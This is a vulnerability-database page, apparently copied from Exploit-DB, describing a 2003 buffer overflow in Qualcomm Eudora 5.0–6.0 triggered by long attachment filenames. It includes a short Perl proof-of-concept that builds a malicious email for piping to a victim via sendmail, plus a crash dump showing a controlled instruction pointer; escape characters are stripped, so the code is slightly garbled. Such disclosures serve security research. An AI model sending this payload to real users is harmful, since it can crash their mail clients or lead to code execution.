Qualcomm Eudora 5.0/5.1/6.0 – Long Attachment Filename Denial of Service (1)

Qualcomm Eudora 5.0/5.1/6.0 – Long Attachment Filename Denial of Service (1)

漏洞ID 1053741 漏洞类型
发布时间 2003-03-05 更新时间 2003-03-05
图片[1]-Qualcomm Eudora 5.0/5.1/6.0 – Long Attachment Filename Denial of Service (1)-安全小百科CVE编号 N/A
图片[2]-Qualcomm Eudora 5.0/5.1/6.0 – Long Attachment Filename Denial of Service (1)-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22333
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7026/info

Eudora may crash when handling messages which contain attachments with excessively long filenames. This condition reportedly occurs when messages with malformed attachment filenames are stored in the user's mailbox, which could result in a persistent denial of service to the mail client.

#!/usr/bin/perl --
print "From: men";
print "To: youn";
print "Subject: Eudora 6.1 buffer overflow demon";
print "X-Use: Pipe the output of this script into:  sendmail -i victimnn";
print "Long spoofed attachments cause an exploitable buffer overflow:n";
# (298.40c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=800403e9 ebx=00000005 ecx=41414141 edx=00a22040 esi=00002966 edi=026a65b4
# eip=41414141 esp=0012f65c ebp=41414141 iopl=0         nv up ei ng nz ac pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293
# 41414141 ??               ???
print "Attachment Convertedr: ", "A"x300,"nn";

相关推荐: aVirt Gateway Suite RAS Password Vulnerability

aVirt Gateway Suite RAS Password Vulnerability 漏洞ID 1104616 漏洞类型 Unknown 发布时间 1999-08-24 更新时间 1999-08-24 CVE编号 N/A CNNVD-ID N/A 漏洞…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享